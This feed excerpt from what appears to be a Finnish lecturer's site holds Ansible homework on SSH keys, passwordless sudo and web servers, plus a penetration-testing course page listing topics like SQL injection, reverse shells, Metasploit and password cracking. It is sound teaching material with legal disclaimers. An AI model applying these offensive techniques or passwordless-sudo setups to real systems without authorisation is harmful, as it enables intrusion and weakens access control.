&lt;li>Karvinen 2026: &lt;a href="https://terokarvinen.com/ssh-public-key-login-without-password/">SSH public key - Login without password&lt;/a>&lt;/li>
&lt;li>Karvinen 2026: &lt;a href="https://terokarvinen.com/hello-ansible/">Hello Ansible&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Sshecrets. Asenna SSH-demoni ja testaa se kirjautumalla SSH:lla.&lt;/li>
&lt;li>b) Pubkey. Automatisoi ssh-kirjautuminen julkisella avaimella.&lt;/li>
&lt;li>c) Hei Ansible. Tee hei maailma ansiblella ja kokeile sitä SSH:n yli.&lt;/li>
&lt;li>d) Vapaaehtoinen bonus, vaikea: kokeile Ansiblella jokin näista asetuksista: paketin asennus, asetustiedosto /etc/ alle, käynnistä jokin demoni, tee uusi käyttäjä. Tarvitset todennäköisesti sudoa, become: true.&lt;/li>
&lt;/ul>
&lt;p>Kuten aina, palauta linkki Laksuun, ristiinarvioi vähintään 2.&lt;/p>
&lt;p>&lt;strong>Vinkit&lt;/strong>&lt;/p>
&lt;p>(Komennot alla ulkomuistista)&lt;/p>
&lt;p>SSH-demonin poistaminen asennuskokeilua varten. Tämän voi tehdä localhost:lla. Älä tee etänä palvelimelle, tai yhteytesi katkeaa.&lt;/p>
&lt;pre>&lt;code>$ sudo systemctl stop ssh
$ sudo apt-get purge openssh-server
&lt;/code>&lt;/pre>
&lt;p>Julkisen avaimen poistaminen&lt;/p>
&lt;pre>&lt;code>remote$ mv -v $HOME/.ssh/authorized_keys $HOME/DISABLED_authorized_keys
&lt;/code>&lt;/pre>
&lt;p>Ansiblen asetukset voit vaan tehdä uuteen kansioon ja ajaa sieltä.&lt;/p>
&lt;p>Testaamatta == tekemättä. Kun asennat tai säädät jotain, osoita testillä, että se toimii.&lt;/p>
&lt;p>Eikö toimi? Raportoi erityisen tarkasti, jotta voimme pähkiä sitä tunnilla yhdessä. Myös tarkat virheilmoitukset talteen.&lt;/p>
&lt;h3 id="h2-voileipa">h2 Voileipä&lt;/h3>
&lt;img src="https://terokarvinen.com/palvelinten-hallinta/sudo-logo_hu90c7c77f1bb985b8b0dfccb8c62285a4_186853_200x200_fit_box_3.png" width="179" height="200" alt=" " class="imgOne right">
&lt;ul>
&lt;li>x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Ei siis vaadita pitkää eikä essee-muotoista tiivistelmää. Lisää kuhunkin jokin oma kysymys tai huomio.)
&lt;ul>
&lt;li>Karvinen 2026: &lt;a href="https://terokarvinen.com/passwordless-sudo/">Sudo without password&lt;/a>&lt;/li>
&lt;li>Munroe 2006: &lt;a href="https://xkcd.com/149/">xkcd 149: Sandwitch&lt;/a>&lt;/li>
&lt;li>Karvinen 2026: &lt;a href="https://terokarvinen.com/passwordless-sudo-with-ansible/">Passwordless Sudo with Ansible &lt;/a>&lt;/li>
&lt;li>Ansiblen sisäänrakennettu dokumentaatio ansible-doc -kommennolla.
&lt;ul>
&lt;li>Kustakin vain
&lt;ul>
&lt;li>Johdantokappale (Usein MODULE alla, päättyy OPTIONS alkuun)&lt;/li>
&lt;li>Nimetyt optiot selityksineen&lt;/li>
&lt;li>Esimerkeistä (EXAMPLES) jokin helppo ja keskeinen esimerkki&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>'ansible-doc copy': content, dest, src; owner, group, mode;&lt;/li>
&lt;li>'ansible-doc apt': name, state, update_cache.&lt;/li>
&lt;li>'ansible-doc file': path, recurse, src, state. owner, group, mode;&lt;/li>
&lt;li>'ansible-doc user': name; create_home, comment, groups, shell, state, system.&lt;/li>
&lt;li>'ansible-doc authorized_key': user, key.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Sudoless. Tee ansiblea varten tunnus, jolla voi käyttää sudoa ilman salasanaa. Sekä ssh-kirjautuminen että sudon käyttö tulee olla ansbilea varten automatisoitu.&lt;/li>
&lt;li>b) Antero. Tee salasanaton, automaattisesti ssh:lla kirjautuva tunnus Ansiblella.&lt;/li>
&lt;li>c) Package. Asenna kaksi pakettia ansiblella.&lt;/li>
&lt;li>d) File. Kirjoita orjalle useamman rivin mittainen tiedosto Ansiblella. Määrittele sen omistaja, omistava ryhmä ja oikeudet. Käytä oikeuksille oktaalinumeroa, esim. &amp;quot;0600&amp;quot;. Kerro, mitä oikeudet ovat symbolisessa muodossa, esim. &amp;quot;-rwxr--r--&amp;quot;. Selitä, mitä kukin käyttäjä saa tehdä tuolle tiedostolle.&lt;/li>
&lt;li>e) Jotain muuta. Näytä esimerkki ansiblen käskystä, jota ei ole vielä käsitelty kurssilla tai kotitehtävissä. Voit ottaa jonkun muun modulin kuin apt, file, copy, user tai authorized_key. Tai voit käyttää ominaisuutta, jota ei vielä ole demonstroitu. Jos tiivistystehtävässä x on mainittu ominaisuuksia, joita ei tunneilla tai läksyissä kokeiltu, nekin kelpaavat.&lt;/li>
&lt;/ul>
&lt;p>Vinkit&lt;/p>
&lt;ul>
&lt;li>Rakenna tila paloittain. Tottakai se toimii kopioimalla malli ja muuttamalla muutama muuttuja. Mutta hetken päästä näitä pitäisi rakentaa myös ilman mallia.&lt;/li>
&lt;li>'ansible-doc user', 'ansible-doc --list'&lt;/li>
&lt;li>Etkö jaksa odottaa?
&lt;ul>
&lt;li>'ansible-doc --list &amp;gt; doc-list.txt'&lt;/li>
&lt;li>helppolukuisempana 'ansible-doc --list|grep -oP '^\S+'&amp;gt;doc-list.txt'&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Paketin asennus: apt&lt;/li>
&lt;li>File:
&lt;ul>
&lt;li>copy: src: foo.txt -&amp;gt; roles/superd/files/foo.txt&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="h3-demoni">h3 Demoni&lt;/h3>
&lt;img src="https://terokarvinen.com/palvelinten-hallinta/apache-httpd-logo_hu0274bb063ced1072a70ec8e201c9b197_74947_300x300_fit_box_3.png" width="154" height="300" alt=" " class="imgOne padSides right">
&lt;p>&lt;em>Package, file, service&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Ei siis vaadita pitkää eikä essee-muotoista tiivistelmää. Lisää kuhunkin jokin oma kysymys tai huomio.)
&lt;ul>
&lt;li>Karvinen 2026: &lt;a href="https://terokarvinen.com/apache-ansible/">Apache installed with Ansible - quick notes&lt;/a>&lt;/li>
&lt;li>Ansible Community Documentation: &lt;a href="https://docs.ansible.com/projects/ansible/latest/playbook_guide/playbooks_handlers.html">Handlers: running operations on change&lt;/a>
&lt;ul>
&lt;li>Handlers: running operations on change (johdantokappale pääotsikon alta)&lt;/li>
&lt;li>Notifying handlers&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>'ansible-doc service':
&lt;ul>
&lt;li>johdantokappale (MODULE alta)&lt;/li>
&lt;li>enabled&lt;/li>
&lt;li>name&lt;/li>
&lt;li>state&lt;/li>
&lt;li>EXAMPLES&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Apassi. Asenna Apache 2 käsin. Weppisivun tulee näkyä palvelimen etusivulla. Sivun tulee olla tavallisen käyttäjän muokattavissa, ilman root- tai sudo-oikeuksia.&lt;/li>
&lt;li>b) Moottorix. Asenna Nginx käsin. Weppisivun tulee näkyä palvelimen etusivulla. Sivun tulee olla tavallisen käyttäjän muokattavissa, ilman root- tai sudo-oikeuksia. (Muista sammuttaa Apache ensin.)&lt;/li>
&lt;li>c) Automoottorix. Automatisoi Nginx asennus Ansiblella. Ylläpitäjän osuus Ansiblella riittää, itse HTML-weppisivut voi tehdä käsin.&lt;/li>
&lt;li>d) Vapaaehtoinen bonus: Osiris-T. Osiris-T asentaa Wazuhin ja tarvittavat virtuaalikoneet. Voit lähettää vihamielistä verkkoliikennettä (tcpreplay), siepata sen (suricata) ja saat tulokset suoraan dashboardille (wazuh). Enemmän alpha kuin se kreikkalainen kirjain. Mutta Oskari, Nico ja Arttu ilahtuvat, jos kokeilet. Häkämies, Saario, Mukkula 2026: &lt;a href="https://github.com/oskarihakamies/IDS-project">Osiris-T&lt;/a>. Häkämies etal 2026: &lt;a href="https://github.com/oskarihakamies/IDS-project/blob/main/How-To-Install.md">How to Install&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Vinkit&lt;/em>&lt;/p>
&lt;ul>
&lt;li>Ensin käsin, sitten automaattisesti&lt;/li>
&lt;li>Pienen testattava kokonaisuus kerrallaan&lt;/li>
&lt;li>Lue lokeja. Weppipalvelimen virheilmoitukset ovat lokeissa, käyttäjälle näkyvä weppisivu ei kerro juuri mitään.&lt;/li>
&lt;li>Kaksi demonia ei voi kuunnella samaa porttia. Sulje siis nginx ennen apachen asennusta ja päinvastoin.&lt;/li>
&lt;li>'ansible-doc apt': name, state, update_cache. EXAMPLES.&lt;/li>
&lt;li>'ansible-doc copy': dest, src; owner, group, mode. EXAMPLES.&lt;/li>
&lt;li>'ansible-doc file': src, dest, state. owner, group. EXAMPLES.&lt;/li>
&lt;li>nginx asennus on samantapainen kuin Apachen
&lt;ul>
&lt;li>sites-available/default - tiedoston lopussa on esimerkki yksinkertaisesta konfiguraatiosta&lt;/li>
&lt;li>'sudo nginx -t' on samantapainen kuin 'sudo apache2ctl configtest'&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Kotisivut käyttäjänä
&lt;ul>
&lt;li>Weppipalvelin pyörinee käyttäjänä www-data, ryhmä www-data. Jos tiedoston omistaa tero:tero, niin www-data on others eli viimeiset kolme kirjainta.&lt;/li>
&lt;li>Jotta se näkee sivut, kansioihin pitää olla x-oikeus ja tiedostoihin r.&lt;/li>
&lt;li>/home/tero/publicsite/index.html
&lt;ul>
&lt;li>chmod ugo+x /home/tero/&lt;/li>
&lt;li>chmod ugo+x /home/tero/publicsite/&lt;/li>
&lt;li>chmod ugo+r /home/tero/publicsite/index.html&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Tarkista oikeudet 'ls -t' ja 'stat'&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="adminstrivia">Adminstrivia&lt;/h2>
&lt;p>Sudo logo my Mark Stillman 2019, received under CC-BY-4.0.&lt;/p>
&lt;p>Apache httpd logo is a trademark of The Apache Software Foundation.&lt;/p></description></item><item><title>Tunkeutumistestaus</title><link>https://terokarvinen.com/tunkeutumistestaus/</link><pubDate>Sun, 22 Mar 2026 13:06:12 +0200</pubDate><guid>https://terokarvinen.com/tunkeutumistestaus/</guid><description>
&lt;p>Learn to hack computers to protect your own. In the course, you will break into target computers.&lt;/p>
&lt;p>Excellent feedback, reached 5.0 out of 5.
&lt;img src="https://terokarvinen.com/img/five-stars-15.png" alt="Full five stars">&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>&lt;/th>
&lt;th>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Course name and code&lt;/td>
&lt;td>Tunkeutumistestaus ICI005AS3A-3004 (&lt;a href="https://opinto-opas.haaga-helia.fi/course/ICI005AS3A">study guide&lt;/a>)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Timing&lt;/td>
&lt;td>2026 &lt;strong>period 4&lt;/strong> late spring, w13-w20&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Credits&lt;/td>
&lt;td>5 cr&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Classes&lt;/td>
&lt;td>&lt;strong>Tuesdays 08:00&lt;/strong> - 10:45, Pasila &lt;strong>pa5001&lt;/strong>, bring your &lt;strong>laptop&lt;/strong>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Max students&lt;/td>
&lt;td>40&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Language&lt;/td>
&lt;td>Finnish (+reading material in English)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Remote&lt;/td>
&lt;td>No, fully contact in Pasila classroom&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Feedback&lt;/td>
&lt;td>&lt;strong>5.0&lt;/strong> / 5 Excellent feedback* &lt;img src="https://terokarvinen.com/img/five-stars-15.png" alt="Five star experience">&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Services&lt;/td>
&lt;td>&lt;a href="https://hhmoodle.haaga-helia.fi/course/view.php?id=45175">Moodle: Tunkeutumistestaus&lt;/a>, Laksu. Voluntary extra: &lt;a href="https://terokarvinen.com/newsletter/">Tero's list&lt;/a>.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>First class&lt;/td>
&lt;td>2026-03-24 w13 Tue 08:00, pa5001, bring your laptop.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>* Best instance 5.0/5, every student gave feedback and every feedback was 5. Lowest 4.5/5 excellent, typical 4.9/5 excellent.
&lt;em>Use of penetration testing techniques requires legal and ethical considerations. To safely use these tools, tactics and procedures, you might need to obtain contracts and permissions; and posses adequate technical skills. Check your local laws.&lt;/em>&lt;/p>
&lt;p>&lt;em>Teaching is in Finnish, so the rest of this page will be in Finnish.&lt;/em>&lt;/p>
&lt;p>&lt;em>Tunkeutumistestaus on eettisen hakkeroinnin kurssi. Opit, miten murtaudutaan tietokoneille, jotta voisit suojata omat ja toimeksiantajan järjestelmät. Nämä tekniikat, ohjelmat ja taktiikat ovat luvallisia vain tietyissä tilanteissa. Usein pitää hankkia lupia ja tehdä sopimuksia. Lisäksi näiden tekniikoiden turvalliseen käyttöön tarvitaan teknistä taitoa. Perehdy itse paikallisiin lakeihin.&lt;/em>&lt;/p>
&lt;h2 id="oppimistavoitteet">Oppimistavoitteet&lt;/h2>
&lt;p>Opintojakson suoritettuaan opiskelija&lt;/p>
&lt;ul>
&lt;li>Tuntee tunkeutumistestauksen prosessin pääpiirteissään&lt;/li>
&lt;li>Tietää, että tunkeutumistestaukselle on lailliset ja eettiset rajat&lt;/li>
&lt;li>Osaa kartoittaa kohdejärjestelmän haavoittuvuuksia&lt;/li>
&lt;li>Osaa hyödyntää valmiita hyökkäyksiä (exploit) ja liittää niihin hyötykuorman käyttäen kurssille valittua työkalua&lt;/li>
&lt;li>Osaa soveltaa tavallisimpia hyökkäyksiä weppisovelluksia vastaan, kun kohdeohjelmistot ovat helppoja ja haavoittuvia.&lt;/li>
&lt;li>Osaa hankkia tunkeutumistestauksessa tarvittavia ohjelmistoja&lt;/li>
&lt;/ul>
&lt;p>Kurssilta ei saa mukaansa ilmaista pakettia nollapäivähaavoittuvuuksia, eikä kurssi anna mitään erityisoikeuksia eikä ammattinimikkeitä.&lt;/p>
&lt;img src="https://terokarvinen.com/tunkeutumistestaus/its-raining-shells_hu2c3b7a67c2932fbb741bb11b3701e922_3206_200x200_fit_box_3.png" width="139" height="134" alt=" " class="imgOne right">
&lt;h2 id="aikataulu">Aikataulu&lt;/h2>
&lt;p>Tiistaisin 08:00 - 10:45 Pasila pa5001.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Päivä&lt;/th>
&lt;th>Aihe&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>2026-03-24 w13 Tue&lt;/td>
&lt;td>1. Tunkeutumisen yleiskuva. Järjestäytyminen. Kybertappoketju.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-03-31 w14 Tue&lt;/td>
&lt;td>2. 9 Vierailija &lt;em>Marko Buuri, cybersecurity adviser, Suomen Pankki: DORA &amp;amp; threat lead penetration testing&lt;/em>. Harjoitusympäristöt, ulkopuoliset ja oma virtuaalilaboratorio.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-04-07 w15 Tue&lt;/td>
&lt;td>3. Aktiivinen tiedustelu. Porttiskannaus ja oheistekniikat. Valvonta snifferillä.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-04-14 w16 Tue&lt;/td>
&lt;td>4. Vierailija &lt;em>Sam: Winning OSINT competition in Ukraine&lt;/em>. Weppiin murtautuminen. IDOR, path traversal, SSRF. Välimiesproxyt, ZAP tai mitmproxy. Harjoitusympäristöt weppiin.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-04-21 w17 Tue&lt;/td>
&lt;td>5. 9 &lt;em>HT8: Robin Niinemets, Ilja Ylikangas, Henry Isakoff: How we started winning CTFs&lt;/em>. Weppiin murtautuminen. SQLi. Keksit. CSRF. Oman TLS-salatun liikenteen purkaminen. Norjalaisia vieraita seuraamassa, Noroff.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-04-28 w18 Tue&lt;/td>
&lt;td>6. Haittaohjelmat ja takaovet. Bind ja reverse shell. Metasploit ja Msfvenom.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-05-05 w19 Tue&lt;/td>
&lt;td>7. Vierailija &lt;em>Niklas Särökaari: Latest attacks I've caught&lt;/em>. Salasanojen murtaminen. Käyttäjien salasanat. Sanakirjahyökkäys. Hashcat.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-05-12 w20 Tue&lt;/td>
&lt;td>8. Lipunryöstö, arvioitava laboratorioharjoitus.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Tämä on edistynyt kurssi, joten tuntien aiheisiin voi tulla muutoksia kurssin edetessä.&lt;/p>
&lt;h2 id="kertausmateriaalia">Kertausmateriaalia&lt;/h2>
&lt;p>Tämä materiaali on vapaaehtoista, jos osaat ne jo. Lähteet ovat esimerkkejä, voit osata/opetella nuo asiat mistä vain haluat. Esimerkiksi ohjelmoinnin alkeita harjoitella tai osata aivan millä vain kielellä (Python, C...). Jos kurssilla järjestetään alkutesti, kysymykset eivät rajoitu kertauspaketin materiaaliin.&lt;/p>
&lt;ul>
&lt;li>TCP/IP-pino: &lt;a href="https://en.wikipedia.org/wiki/Internet_protocol_suite">Wikipedia: Internet protocol suite&lt;/a>&lt;/li>
&lt;li>Linuxin komentokehote: &lt;a href="https://terokarvinen.com/2020/command-line-basics-revisited/">Command Line Basics Revisited&lt;/a> (ja Linuxin asennus &lt;a href="https://terokarvinen.com/2021/install-debian-on-virtualbox/">Install Debian on VirtualBox&lt;/a>)&lt;/li>
&lt;li>Tietokantojen alkeet (millä vain alustalla): &lt;a href="http://terokarvinen.com/2016/postgresql-install-and-one-table-database-sql-crud-tutorial-for-ubuntu">PostgreSQL Install and One Table Database - SQL CRUD tutorial for Ubuntu&lt;/a>&lt;/li>
&lt;li>Ohjelmoinnin alkeet (millä vain kielellä). Python on myös hyvä vaihtoehto. FreeCodeCamp.org: Javascript Algorithms And Data Structures Certification: Basic JavaScript: &lt;a href="https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript">Introduction to JavaScript&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="luettavaa-ja-linkkeja">Luettavaa ja linkkejä&lt;/h2>
&lt;p>€ Maksulliset aineistot saattavat näkyä ilmaiseksi &lt;a href="http://libguides.haaga-helia.fi/az.php">Haaga-Helian tunnuksilla kirjaston&lt;/a> kautta. &lt;a href="https://www.oreilly.com/library/view/temporary-access/">Haaga-Helialla on käyttöoikeus O'Reilly Learning -kirjoihin (ent. Safari)&lt;/a>.&lt;/p>
&lt;p>Työkaluja kurssille&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://terokarvinen.com/2021/install-debian-on-virtualbox/">Install Debian on VirtualBox&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://terokarvinen.com/2020/remote-learning-tools-for-my-courses/">Remote Learning Tools for Tero's Courses&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/">Kali Linux&lt;/a>. Uusi levykuva &lt;a href="https://cdimage.kali.org/kali-2021.1/kali-linux-2021.1-live-amd64.iso">kali-linux-2021.1-live-amd64.iso&lt;/a> (vanha levykuva &lt;a href="https://cdimage.kali.org/kali-2020.3/kali-linux-2020.3-live-amd64.iso">kali-linux-2020.3-live-amd64.iso&lt;/a>).
Kun linkki menee vanhaksi, etsi Kalin kotisivulta tuorein amd64-arkkitehtuurin live-tikun iso-kuva.&lt;/li>
&lt;/ul>
&lt;p>&lt;a id="L2">L2 weppihyökkäyksiä - tukee läksyä h2&lt;/a>&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf">OWASP 10 2017 (pdf)&lt;/a>, erityisesti ne hyökkäykset, joita aiot kohta tehdä eli A2 Broken Authentication, A3 Sensitive Data Exposure, A7 Cross Site Scripting; sekä viime kerralla harjoiteltu A1 Injection.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>€ Santos et al 2018: Hacking Web Applications The Art of Hacking Series LiveLessons (video): Security Penetration Testing for Today's DevOps and Cloud Environments: &lt;a href="https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_06_03_00">6.3 Understanding SQL Injection&lt;/a> ja &lt;a href="https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_06_04_00">6.4 Exploiting SQL Injection Vulnerabilities&lt;/a> sekä &lt;a href="https://learning.oreilly.com/videos/hacking-web-applications/9780135261422/9780135261422-hwap_01_05_00_00">Lesson 5: Authentication and Session Management Vulnerabilities&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>€ Percival &amp;amp; Samancioglu 2020: The Complete Ethical Hacking Course (video): &lt;a href="https://learning.oreilly.com/videos/the-complete-ethical/9781839210495/9781839210495-video21_1">Chapter 21: Cross Site Scripting&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf">Hutchins et al 2011: Intelligence-Driven Computer Network Defense
Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains&lt;/a>&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Yleiskuva, harjoitusmaaleja, web&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://attack.mitre.org/">MITRE ATT&amp;amp;CK&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://darknetdiaries.com/">Darknet Diaries&lt;/a> . Podcastien kuunteluun
kännykällä &lt;a href="https://f-droid.org/en/packages/de.danoeh.antennapod/">AntennaPod löytyy F-Droidista&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://terokarvinen.com/2019/mitmproxy-on-kali-and-xubuntu-attack-and-testing">MitmProxy on Kali and Xubuntu&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://terokarvinen.com/2020/install-webgoat-web-pentest-practice-target">Install Webgoat 8 - Learn Web Pentesting&lt;/a>. (It's also possible to install &lt;a href="http://terokarvinen.com/2019/install-webgoat-pentest-learning-tool-on-ubuntu-with-docker">old version&lt;/a> 7 of WebGoat with Docker).&lt;/li>
&lt;li>&lt;a href="https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf">OWASP 10 2017 (pdf)&lt;/a>. Tällä hetkellä 2021-02-02 uusin versio.&lt;/li>
&lt;/ul>
&lt;p>Aktiivinen tiedustelu. HackTheBox.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>€ Santos et al: &lt;a href="https://learning.oreilly.com/videos/the-art-of/9780135767849">The Art of Hacking (Video Collection)&lt;/a>: [..] &lt;a href="https://learning.oreilly.com/videos/security-penetration-testing/9780134833989/9780134833989-sptt_00_04_03_00">4.3 Surveying Essential Tools for Active Reconnaissance: Port Scanning and Web Service Review&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>man nmap (laaja, silmäily riittää)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Kokonaisia blogeja ja videokanavia, vilkaise, ei tarvitse katsoa 200 h videota:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://tools.kali.org/tools-listing">https://tools.kali.org/tools-listing&lt;/a>&lt;/li>
&lt;li>0xdf &lt;a href="https://0xdf.gitlab.io/">https://0xdf.gitlab.io/&lt;/a>&lt;/li>
&lt;li>ippsec &lt;a href="https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA/videos">https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA/videos&lt;/a>&lt;/li>
&lt;li>John Hammond &lt;a href="https://www.youtube.com/user/RootOfTheNull/videos?sort=p">https://www.youtube.com/user/RootOfTheNull/videos?sort=p&lt;/a>&lt;/li>
&lt;li>Youtube-videoiden katseluun kännykällä &lt;a href="https://f-droid.org/packages/org.schabi.newpipe/">NewPipe F-Droidista&lt;/a>. Youtube-videoiden nopeuden säätöön &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/videospeed/">codebicycle Video Speed Controller&lt;/a> addon Firefoxille.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Passwords, Learning to Learn tools&lt;/p>
&lt;ul>
&lt;li>infosecn1nja 2020: &lt;a href="https://github.com/infosecn1nja/Red-Teaming-Toolkit">Red-Teaming-Toolkit&lt;/a>&lt;/li>
&lt;li>Taylor et al 2018: The Art of Hacking: &lt;a href="https://learning.oreilly.com/videos/the-art-of/9780135767849/9780135767849-SPTT_06_00">Hacking User Credentials&lt;/a> €&lt;/li>
&lt;/ul>
&lt;p>Web Fuzzing, Second to Last Words&lt;/p>
&lt;ul>
&lt;li>Hoikkala &amp;quot;joohoi&amp;quot; 2020: &lt;a href="https://github.com/ffuf/ffuf">ffuf - Fast web fuzzer written in Go&lt;/a>&lt;/li>
&lt;li>Hoikkala &amp;quot;joohoi&amp;quot; 2020: Still Fuzzing Faster (U fool). In &lt;a href="https://www.twitch.tv/helsec">HelSec Virtual Meetup #1&lt;/a>.&lt;/li>
&lt;li>Miettinen 2020: iPhone BFU Acquisition and Analysis. In &lt;a href="https://www.twitch.tv/helsec">HelSec Virtual Meetup #1&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>Metasploit&lt;/p>
&lt;ul>
&lt;li>
&lt;p>€ Jaswal 2020: Mastering Metasploit - 4ed: &lt;a href="https://learning.oreilly.com/library/view/mastering-metasploit-/9781838980078/B15076_01_Final_ASB_ePub.xhtml#_idParaDest-30">Chapter 1: Approaching a Penetration Test Using Metasploit&lt;/a> (kohdasta &amp;quot;Conducting a penetration test with Metasploit&amp;quot; luvun loppuun)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Karvinen 2018: &lt;a href="https://terokarvinen.com/2018/install-metasploitable-3-vulnerable-target-computer/">Install Metasploitable 3 – Vulnerable Target Computer&lt;/a> (Article uses rapid7/metasploitable3-ub1404 , see also &amp;quot;rapid7/metasploitable3-win2k8&amp;quot;)&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2 id="vanhoja-toteutuksia">Vanhoja toteutuksia&lt;/h2>
&lt;p>&lt;a href="https://terokarvinen.com/2024/tunkeutumistestaus-ici001as3a-3002-2024p4-loppusyksy-pentest/">Tunkeutumistestaus ICI001AS3A-3002 - 2024p4-loppusyksy&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2024/tunkeutumistestaus-2024p2/">Tunkeutumistestaus 2024p2&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2024/eettinen-hakkerointi-2024/">Tunkeutumistestaus ici005as3a-3001 loppukevät pa2004&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2023/eettinen-hakkerointi-2023/">Tunkeutumistestaus ict4tn027-3012 loppusyksy online&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2023/tunkeutumistestaus-2023-kevat/">Tunkeutumistestaus ict4tn027-3009&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2022/tunkeutumistestaus-ict4tn027-3010-syksylla-2022/">Tunkeutumistestaus ict4tn027-3010 - Syksy 2022&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2021/penetration-testing-course-2022-spring/">Tunkeutumistestaus ict4tn027-3007 - 2022p4 late spring&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/">Tunkeutumistestaus ict4tn027-3008 - 2021 Autumn&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/">itc4tn027-3005: Tunkeutumistestaus eli eettinen hakkerointi -kurssi&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2020/tunkeutumistestaus-kurssi-pentest-course-ict4tn027-3006-autumn-2020/">Penetration Testing Course 2020 Autumn - Tunkeutumistestaus ict4tn027-3006&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2020/tunkeutumistestaus-kurssi-pentest-course-ict4tn027-3003/">Penetration Testing Course 2020 Spring - Tunkeutumistestaus ict4tn027-3003&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/search/?q=tunkeutumistestaus">Haku &amp;quot;Tunkeutumistestaus&amp;quot;&lt;/a>&lt;/p>
&lt;h2 id="laksyt">Läksyt&lt;/h2>
&lt;p>Palauta linkki Laksuun 24 h ennen seuraavaa lukujärjestykseen merkittyä kurssivarausta. Tehtävät ovat pakollinen ja tärkeä osa kurssia.&lt;/p>
